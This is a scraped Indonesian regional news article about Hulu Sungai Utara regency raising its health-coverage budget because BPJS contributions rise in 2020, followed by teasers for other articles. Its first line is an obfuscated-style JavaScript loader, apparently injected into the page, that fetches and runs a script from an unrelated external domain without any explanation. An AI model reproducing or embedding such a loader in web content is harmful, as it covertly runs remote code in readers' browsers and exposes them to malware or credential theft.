(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Pemerintah Daerah Kabupaten Hulu Sungai Utara (HSU) rencananya bakal menambah anggaran terkait kenaikan iuran BPJS pada tahun 2020
Pasalnya HSU merupakan satu dari daerah di Kalimantan Selatan yang menerapkan Universal Health Coverage (UHC) yang pertama di wilayah Banua Enam.
Tak tanggung-tanggung, anggaran yang harus digelontorkan Pemerintah Kabupaten HSU untuk UHC untuk 2019 mencapai Rp 30 miliar lebih.
Otomatis iuran kesehatan sudah resmi dinyatakan naik pada 2020 mendatang, anggaran yang disediakan juga bakal lebih besar lagi.
Kabid Kesmas Dinas Kesehatan HSU Eddy Hadriyannor saat ditemui Kanalkalimantan.com, Senin (11/11) menuturkan, setelah melakukan rapat terkait pembahasan kenaikan iuran BPJS dan anggaran UHC Kabupaten HSU bersama DPRD pihaknya telah meningkatkan anggaran mencapai 30 miliar .
Hal ini juga sebagai langkah awal, sesuai dengan penganggaran yang tersedia. Meski nantinya kurang, pihaknya bakal menambal pada APBD Perubahan 2020.
Diakui Eddy, meski program UHC dapat dinikmati oleh seluruh warga HSU yang tanpa BPJS, namun hal ini diharapkan dapat menyadarkan sebagian warga yang berpendapatan tinggi untuk menempuh jalur mandiri terkait pembayaran iuran BPJS.
“Ini sebagai komitmen pemerintah daerah agar seluruh warga HSU mendapatkan jaminan kesehatan,†ujarnya.
Dari informasi, berdasarkan data Januari lalu, untuk peserta BPJS yang telah tercover UHC Pemkab HSU mengalami peningkatan. Dari 107.123 jiwa menjadi 107.837 jiwa pada bulan September ini, mulai dari penerima bantuan iuran (PBI) APBN, penerima bantuan iuran APBD, peserta penerima upah (PPU), peserta bukan penerima upah (PBPU), bukan pekerja (BP).
Namun, Eddy menambahkan, akibat kenaikan iuran BPJS ini bisa saja peserta BPJS program UHC Pemkab HSU mengalami peningkatan dan bisa saja mengalami penurunan. “Contohnya saja pada bulan November ini,†imbuhnya.
Adapun, pihaknya juga memprioritaskan penerima program UHC Pemkab HSU yaitu bagi ibu hamil beserta anaknya, lansia dan orang yang mengalami gangguan jiwa.
Sebelumnya program UHC tahun 2019, Pemkab HSU hanya menyediakan anggaran Rp 13 miliar untuk pembayaran jaminan kesehatan ditambah APBD Perubahan sehingga totalnya mencapai Rp 30 miliar.
Akibat kenaikan iuran BPJS pada tahun 2020, setidaknya Pemkab HSU harus menggelontorkan anggaran sebesar Rp4,5 miliar lebih per bulan untuk iuran UHC, dimana sebelumnya hanya sekitar Rp 2,6 milliar perbulan. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.